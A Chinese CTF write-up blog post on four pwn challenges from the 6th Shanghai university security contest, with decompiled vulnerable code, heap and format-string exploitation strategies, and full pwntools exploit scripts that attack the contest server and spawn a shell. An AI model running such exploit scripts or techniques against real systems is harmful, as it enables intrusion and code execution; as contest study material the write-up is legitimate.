第六届上海大学生网络安全大赛

这次比赛干了一天,早餐只吃了点鸡蛋, 午饭没吃, 干完pwn后才去吃的饭,总之今天表现的还不错,pwn给over了,cpu-emulator还拿了三血。。。

比赛开始了半个小时后,我就直接看pwn去了,发现签到题还没做,与我组队的师傅们好像刚好去打线下赛去了,我的队伍第9,而咱们实验室的另一只队伍与第一并其,这次比赛只筛选一只队伍,我们队就去不了了,总之下次好好加油吧,冲进线下!!!

最终排名如下:

img

pwn1 [cpu_emulator]

这个题拿了三血,刚开始一直没找到漏洞点,不断的分析才知道有个功能堆偏移地址写入。

简单概述

程序pie没开,是一个指令模拟器,实现某些运算操作。输入时先开辟内存储存指令数据,但是没有堆相关的漏洞。

程序运行规则:

输入指令后,进入run函数进行运行,每次取出 dword的数据进行解析指令,以下解释是根据调试出来的,这个ida反编译有误,然而在执行sub_4009A8函数时是取出操作指令数据,也就是26~32位,ida反编译时没有相关的变量来储存这个操作指令,通过调试才发现的。然后就是取出3个被操作数了

result = (unsigned int)nbytes >> 2;
    if ( src_pos >= (unsigned int)result )
      return result;
    now_src = get_src();
    if ( (unsigned int)sub_4009A8(now_src) )    // 获取操作指令, 26 ~ 32
    {
      v6 = sub_400971(now_src, 5, 21);          // 21位后5bit
      v7 = sub_400971(now_src, 5, 16);          // 16位后5bit
      v8 = sub_400971(now_src, 16, 0);          // 0位后16bit
      result = (unsigned __int64)off_401404;
      switch ( (unsigned int)&savedregs )
      {
        case 1u:
          return result;
        case 4u:
          result = dword_6020E0[v7];
          if ( dword_6020E0[v6] == (_DWORD)result )
          {
            v4 = 4 * v8 + 4;
            result = (unsigned int)(v4 + src_pos);
            src_pos += v4;
          }
          return result;
        case 8u:
          dword_6020E0[v7] = dword_6020E0[v6] + v8;
          continue;
        case 9u:
          dword_6020E0[v7] = dword_6020E0[v6] - v8;
          break;
        case 0xAu:
          dword_6020E0[v7] = v8 > (signed int)dword_6020E0[v6];
          break;
        case 0xCu:
          dword_6020E0[v7] = v8 & dword_6020E0[v6];
          break;
        case 0xDu:
          dword_6020E0[v7] = v8 | dword_6020E0[v6];
          break;
        case 0xEu:
          dword_6020E0[v7] = v8 ^ dword_6020E0[v6];
          break;
        case 0xFu:
          dword_6020E0[v7] = v8 << 16;
          break;
        case 0x23u:
          dword_6020E0[v7] = *(unsigned __int8 *)(qword_602168 + (signed int)(dword_6020E0[v6] + v8));
          break;
        case 0x2Bu:
          *(_BYTE *)(qword_602168 + (signed int)(dword_6020E0[v6] + v8)) = dword_6020E0[v7];// vul
          break;
        default:
          continue;
      }

漏洞点在操作指令为0x2b的地方,而qword_602168储存的是堆buf的地址,从这里可以看到,通过v6与v8还有v7的配合可以实现向堆中写入单个字节的数据。

思路

通过以上漏洞修改, heap中tcache struct 0x68位置的地址为atoi函数的got地址,更具atoi与system函数的偏移爆破system函数地址,在调用atoi函数时传入’/bin/sh\x00’即可。

实现步骤:

先将dword_6020E0[0]来储存qword_602168中堆地址到tcache struct 0x68位置的偏移,采用9指令实现负数偏移,8指令来实现我们目标地址的分开但字节储存,也就是atoi函数的got地址,2b指令来实现单字节写入控制好被操作数即可一次写入。

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1

from pwn import *
import os

r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li  = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')


context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path  = 'pwn'
MODIFY_LD = 0
arch = '64'
libc_v = '2.27'

ld_path   = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2'
libs_path = '/glibc/' + libc_v + '/' + arch + '/lib'
libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6'
libc_path = './libc.so.6'

# change ld path 
if(MODIFY_LD):
    os.system('cp ' + elf_path + ' ' + elf_path + '.bk')
    change_ld_cmd = 'patchelf  --set-interpreter ' + ld_path +' ' + elf_path
    os.system(change_ld_cmd)
    li('modify ld ok!')
    exit(0)

# remote server ip and port
server_ip = "123.56.52.128"
server_port = 18236

# if local debug
LOCAL = 0
LIBC  = 1


#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

def ad(sz, d):
    sla('>>', '1')
    sla(':', str(sz))
    sa(':', d)

def run():
    sla('>>', '2')

def q():
    sla('>>', '3')

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    c = '''
    mov rax, 1
    syscall
    '''
    p = asm(c, arch = 'amd64')
    p = p32(0xafffffff)

    # dword_6020E0[v7] = dword_6020E0[v6] + v8;
    #               o    *    *                *
    #p = p32(0b00100000111110001000100010001000)


    # qword_602168 -> heap chunk 2
    # size 0x10011
    libc = ELF('./libc.so.6')
    li('libc_atoi  : ' + hex(libc.sym['atoi']))
    li('libc_system: ' + hex(libc.sym['system']))

    '''
    0x6020e0[0] = offset of heap
    0x6020e0[1] = our target address
    0x6020e0[2] = 0
    '''
    p = 'A' *0x60
    ad(0x60, p)

    # offset - 0x1e8
    # 0x1009070:      0x0000000000000000      0x0000000001019270
    #               o    *    *               *
    p = p32(0b00100100000000000000000111101000) # 9 target offset

    # set out addrs pointer to got
    # atoi: 0x602058
    #               o    *    *               *
    p +=p32(0b00100000001000010000000001011000) # 9  0x58
    p +=p32(0b00100000010000100000000000100000) # 9  0x20
    p +=p32(0b00100000011000110000000001100000) # 9  0x60

    # 16 bit point to our value
    #               o    *    *               *
    p +=p32(0b10101100000000010000000000000000) # 2b
    p +=p32(0b10101100000000100000000000000001) # 2b
    p +=p32(0b10101100000000110000000000000010) # 2b
    p +=p32(0b10101100000001000000000000000011) # set as null

    ad(len(p), p)
    run()

    # modify atoi as system
    # system offset: 0x4f550
    ad(0x60, '\x50\xf5')
    db()
    sl('/bin/sh\x00')



def finish():
    ia()
    c()

#--------------------------main-----------------------------
if __name__ == '__main__':

    for _ in range(256):
        try:
            if LOCAL:
                elf = ELF(elf_path)
                if LIBC:
                    libc = ELF(libc_path)
                    io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} )
                else:
                    io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} )

            else:
                elf = ELF(elf_path)
                io = remote(server_ip, server_port)
                if LIBC:
                    libc = ELF(libc_path)

            exploit()
            finish()
        except:
            continue

pwn2 [lgtwo]

概述.

一个典型的菜单堆题。这个题有点坑,pie没开,本来采用unlink打入堆指针数组的,发现got表不能写入。。。远程没法打unlink,操蛋。

程序没给libc,需要自己使用相关技巧来实现获取远程libc版本。

采用手法,故意unlink失败。

def exploit():
        li('exploit...')
        ad(0x458, 'A') # 0
        ad(0x68, 'A')  # 1
        ad(0x68, 'A')  # 2
        ad(0x458, 'A') # 3

        rm(0)
        md(2, b'A' * 0x60 + p64(0x70 + 0x70 + 0x470) + b'\x70')
        rm(3)

输出如下

[DEBUG] Received 0x1b2 bytes:
    b"*** Error in `./pwn': double free or corruption (!prev): 0x00000000017a0550 ***\n"
    b'======= Backtrace: =========\n'
    b'/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7f7eed9487f5]\n'
    b'/lib/x86_64-linux-gnu/libc.so.6(+0x8038a)[0x7f7eed95138a]\n'
    b'/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f7eed95558c]\n'
    b'./pwn[0x400a8c]\n'
    b'./pwn[0x400cfa]\n'
    b'/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f7eed8f1840]\n'
    b'./pwn[0x400739]\n'
    b'======= Memory map: ========\n'
*** Error in `./pwn': double free or corruption (!prev): 0x00000000017a0550 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7f7eed9487f5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8038a)[0x7f7eed95138a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f7eed95558c]
./pwn[0x400a8c]
./pwn[0x400cfa]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f7eed8f1840]
./pwn[0x400739]
======= Memory map: ========
[*] Got EOF while reading in interactive

可以得到__libc_start_main的地址了,在线libc searcher查询,即可获得libc版本。

查找到libc为: libc6_2.23-0ubuntu11.2_amd64

vul

在添加函数中,存在off by one漏洞

unsigned __int64 add()
{
  bool v0; // al
  unsigned int v1; // eax
  int v3; // [rsp+10h] [rbp-30h]
  int i; // [rsp+14h] [rbp-2Ch]
  int v5; // [rsp+18h] [rbp-28h]
  int v6; // [rsp+1Ch] [rbp-24h]
  int v7; // [rsp+20h] [rbp-20h]
  int v8; // [rsp+24h] [rbp-1Ch]
  int v9; // [rsp+28h] [rbp-18h]
  int v10; // [rsp+2Ch] [rbp-14h]
  int v11; // [rsp+30h] [rbp-10h]
  int v12; // [rsp+34h] [rbp-Ch]
  unsigned __int64 v13; // [rsp+38h] [rbp-8h]

  v13 = __readfsqword(0x28u);
  for ( i = 0; i <= 15 && p_addr[i]; ++i )
    ;
  if ( i == 16 )
  {
    puts("full!");
  }
  else
  {
    puts("size?");
    _isoc99_scanf((__int64)"%d", (__int64)&v3);
    if ( v3 >= 0 && v3 <= 4096 )
    {
      v5 = 100;
      v6 = 200;
      p_addr[i] = malloc(v3);
      p_size[i] = v3;
      puts("content?");
      read(0, &unk_6021C0, 0x20uLL);
      v7 = 1;
      v8 = v5 + v6;
      v9 = v6;
      if ( v5 + v6 <= v5 )
        v0 = v6 != 0;
      else
        v0 = v5 != 0;
      if ( v0 )
      {
        v10 = v5;
        v11 = v6;
        v12 = v5;
      }
      else
      {
        v6 = 1;
      }
      v6 = v5;
      v1 = p_size[i];
      p_size[i] = v1 + 1;                       // vul
      sub_400806(v1);
    }
    else
    {
      puts("invalid size");
    }
  }
  return __readfsqword(0x28u) ^ v13;
}

思路

先释放0x71大小的chunk构造fastbin attack 链,采用house of einherjar实现堆重叠,将main_arena地址挤到0x71 fastbin fd地方,parital write修改fastbin fd为_IO_2_1_stderr_ + 157处,开辟0x71的内存到_IO_2_1_stdout_修改此结构体泄漏_IO_2_1_stderr_+192处的地址,计算得到libc基址。

再次使用fastbin attack 打入__malloc_hook - 0x23处,修改__realloc_hook为one_gadget,__malloc_hook为realloc,realloc来进行调整execve第二个参数。

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1

from pwn import *
import os

r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li  = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')


context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path  = 'pwn'
MODIFY_LD = 0
arch = '64'
libc_v = '2.23'

ld_path   = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2'
libs_path = '/glibc/' + libc_v + '/' + arch + '/lib'
libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6'
libc_path = './libc.so.6'

# change ld path 
if(MODIFY_LD):
    os.system('cp ' + elf_path + ' ' + elf_path + '.bk')
    change_ld_cmd = 'patchelf  --set-interpreter ' + ld_path +' ' + elf_path
    os.system(change_ld_cmd)
    li('modify ld ok!')
    exit(0)

# remote server ip and port
server_ip = "123.56.52.128"
server_port = 45830

# if local debug
LOCAL = 0
LIBC  = 1


#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

def ad(sz, d):
    sla('>>', '1')
    sla('?', str(sz))
    sa('?', d)

def rm(i):
    sla('>>', '2')
    sla('?', str(i))

def dp(i):
    sla('>>', '3')
    sla('?', str(i))

def md(i, d):
    sla('>>', '4')
    sla('?', str(i))
    sa('?', d)

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    ad(0x80, 'A')  # 0
    ad(0x68, 'A')  # 1
    ad(0x68, 'A')  # 2
    ad(0x88, 'A')  # 3
    ad(0x68, 'A')  # 4

    lib = ELF('./libc.so.6')
    li('lib stdout + 157:' + hex(lib.sym['_IO_2_1_stderr_'] + 157))

    rm(0)
    p = b'A' * 0x60
    p += p64(0x70 + 0x70 + 0x90)
    p += b'\x90'
    md(2, p)


    rm(1)

    rm(3) # house of einharjar

    ad(0x80, 'A') # 0
    rm(0)

    ad(0xa0, 'A') #0

    p = b'A' * 0x80
    p += p64(0) + p64(0x71)
    p += b'\xdd\x55'
    md(0, p)

    ad(0x68, 'B') # 1
    ad(0x68, 'B') # 3

    p = b'\x00' * 0x33 + p64(0xfbad3c80) + 3 * p64(0) + p8(0)
    md(3, p)
    leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
    libc_base = leak - libc.sym['_IO_2_1_stderr_'] - 192
    li('leak: ' + hex(leak))
    li('libc_base: ' + hex(libc_base))

    rm(1)
    p = b'A' * 0x80
    p += p64(0) + p64(0x71)
    p += p64(libc_base + libc.sym['__malloc_hook'] - 0x23)
    md(0, p)

    ad(0x68, 'A') # 1    

    ad(0x68, 'A') # 5

    og = libc_base + 0x4527a
    #og = libc_base + 0x3f42a
    realloc = libc_base + libc.sym['realloc']
    p = b'A' * (0x13 - 8)
    p += p64(og)
    p += p64(realloc + 4)
    md(5, p)

    sl('1')
    sl('10')

def finish():
    ia()
    c()

#--------------------------main-----------------------------
if __name__ == '__main__':

    for _ in range(16):
        try:
            if LOCAL:
                elf = ELF(elf_path)
                if LIBC:
                    libc = ELF(libc_path)
                    io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} )
                else:
                    io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} )

            else:
                elf = ELF(elf_path)
                io = remote(server_ip, server_port)
                if LIBC:
                    libc = ELF(libc_path)

            exploit()
            finish()
        except:
            continue

pwn3 [EASY_ABNORMAL]

简要概述

这个题直接就是湘湖杯的原题,添加了个prctl函数,我还以为是沙箱,还得我一直构造rop,一直在构造orw,’./flag’字符串的传入一直困扰我,后面先试试one_gadget是否打通,想不到还真通了。。。

如何获取libc版本,和之前一样, 该提有个uaf漏洞,直接构造double free,泄漏__libc_start_main从而获得libc版本。

思路

字符串漏洞泄漏libc,在堆中构造one_gadget的rop,一下出现堆栈溢出,能够修改rbp寄存器的值,若覆盖改值,在c++抛出异常后就可实现堆栈迁移至堆中。

unsigned __int64 gift()
{
  _QWORD *v0; // rax
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("INPUT:");
  prctl(22, 2LL, &unk_202070);
  if ( (signed int)read(0, &buf, 0x28uLL) > 16 )
  {
    v0 = (_QWORD *)_cxa_allocate_exception(8LL, &buf);
    *v0 = "YOU ARE TOO YOUNG!";
    _cxa_throw(v0, &`typeinfo for'char const*, 0LL);
  }
  return __readfsqword(0x28u) ^ v3;
}

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1

from pwn import *
import os

r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.arch='amd64'
context.terminal = ['tmux', 'splitw', '-h']

elf_path  = 'pwn'
libc_path = './libc.so.6'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'

# remote server ip and port
server_ip = "123.56.52.128"
server_port = 10012

# if local debug
LOCAL = 0
LIBC  = 1

#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

def sn():
    sla(':', '1')

def ad(d):
    sla(':', '2')
    sla(':', d)

def rm(i):
    sla(':', '3')
    sla(':', str(i))

def dp():
    sla(':', '4')

def gift(d):
    sla(':', '23333')
    sa(':', d)

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    p = '%11$p'
    sa(':', p)
    sn()
    ru('0x')
    leak = int(r(12), 16)
    #(__libc_start_main+240)
    libc_base = leak - libc.sym['__libc_start_main'] - 240
    li('leak: ' + hex(leak))
    li('libc_base: ' + hex(libc_base))
    og = libc_base + 0x4527a 

    libc.address= libc_base
    if(LOCAL):
        pop_rdi = libc_base + 0x20e22
        pop_rsi = libc_base + 0x20218
        pop_rdx = libc_base + 0x01b92
        pop6 = libc_base + 0x11633f
    else:
        pop_rdi = libc_base + 0x21112
        pop_rsi = libc_base + 0x202f8
        pop_rdx = libc_base + 0x01b92


    p = p64(0) * 3
    rop = flat([
    og
    ])

    p += rop
    ad(p)
    ad('./flag\x00')

    rm(0)
    rm(1)
    dp()

    ru('idx 2:')
    leak = u64(ru('\n').ljust(8, b'\x00'))
    heap = leak
    li('leak: ' + hex(leak))
    li('heap: ' + hex(heap))

    p = b'A' * 0x20
    p += p64(heap + 0x20)
    p += b'A' * 0x9

    db()
    gift(p)


def finish():
    ia()
    c()

#--------------------------main-----------------------------
if __name__ == '__main__':

    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
            io = elf.process(env = {"LD_PRELOAD" : libc_path} )
        else:
            io = elf.process()

    else:
        elf = ELF(elf_path)
        io = remote(server_ip, server_port)
        if LIBC:
            libc = ELF(libc_path)

    exploit()
    finish()

pwn4 [maj0rone]

概述

一个简单的堆体,没给libc,自己构造double free泄漏libc,libc版本还是与之前一样2.23的,该题添加了一点花指令,但不影响分析。

vul

在删除功能中存在指针没清零,造成uaf漏洞

       sub_400846((unsigned int)dword_603010, (unsigned int)(dword_60303C + 1), v1);
      }
    }
    else
    {
      sub_400846((unsigned int)dword_603010, (unsigned int)(dword_60303C + 1), (unsigned int)dword_603040);
    }
    free(p_addr[v7]);                           // vullllll-----------
    if ( dword_60303C / dword_603010 > 1 )
    {
      if ( dword_60303C % dword_603010 )
      {
        if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 )

思路

程序没有开启pie,但got没法修改,没毛用,也没打印函数,需要fastbin attack打入_IO_2_1_stdout_泄漏libc,再次fastbin attack打入__malloc_hook - 0x23处打one_gadget,修改__realloc_hook为one_gadget,修改__malloc_hook为realloc,调整realloc偏移来调整execve第二个参数。

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1

from pwn import *
import os

r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li  = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')


context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path  = 'pwn'
MODIFY_LD = 0
arch = '64'
libc_v = '2.23'

ld_path   = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2'
libs_path = '/glibc/' + libc_v + '/' + arch + '/lib'
libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6'
libc_path = './libc.so.6'

# change ld path 
if(MODIFY_LD):
    os.system('cp ' + elf_path + ' ' + elf_path + '.bk')
    change_ld_cmd = 'patchelf  --set-interpreter ' + ld_path +' ' + elf_path
    os.system(change_ld_cmd)
    li('modify ld ok!')
    exit(0)

# remote server ip and port
server_ip = "123.56.52.128"
server_port = 18523

# if local debug
LOCAL = 0
LIBC  = 1

#--------------------------func-----------------------------
def db ():
    if(LOCAL):
        gdb.attach(io)

def ad(sz, d):
    sla('>>', '1')
    sla('\n', '80')
    sla('?', str(sz))
    sla('?', str(d))

def rm(i):
    sla('>>', '2')
    sla('?', str(i))

def md(i, d):
    sla('>>', '4')
    sla('?', str(i))
    sa('?', d)

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    ad(0xd0, 'A') # 0
    ad(0x68, 'A') # 1

    rm(0)
    ad(0x68, 'A') # 2
    rm(1)
    rm(2)

    md(2, '\x70')

    ad(0x30, 'A') # 3
    md(3, '\xdd\x55')

    # for alignment
    ad(0x68, 'A') # 4
    p = b'A' * 0x60
    p += p64(0) + p64(0x71)
    md(0, p)

    ad(0x68, 'A') # 5

    ad(0x68, 'B') # 6
    p = b'\x00' * 0x33 + p64(0xfbad3c80) + 3 * p64(0) + p8(0)
    md(6, p)

    leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
    libc_base = leak - libc.sym['_IO_2_1_stderr_'] - 192
    li('leak: ' + hex(leak))
    li('libc_base: ' + hex(libc_base))


    rm(5)
    md(5, p64(libc_base + libc.sym['__malloc_hook'] - 0x23))

    ad(0x68, 'A') # 7

    ad(0x68, 'A') # 8
    og = libc_base + 0x4527a
    #og = libc_base + 0x3f42a

    realloc = libc_base + libc.sym['realloc']
    p = b'A' * (0x13 - 8)
    p += p64(og)
    p += p64(realloc + 4)
    md(8, p)

    #db()
    # get shell
    sla('>>', '1')
    sla('\n', '80')
    sla('?', str(10))


def finish():
    ia()
    c()

#--------------------------main-----------------------------
if __name__ == '__main__':

    for _ in range(16):
        try:
            if LOCAL:
                elf = ELF(elf_path)
                if LIBC:
                    libc = ELF(libc_path)
                    io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} )
                else:
                    io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} )

            else:
                elf = ELF(elf_path)
                io = remote(server_ip, server_port)
                if LIBC:
                    libc = ELF(libc_path)

            exploit()
            finish()
        except:
            continue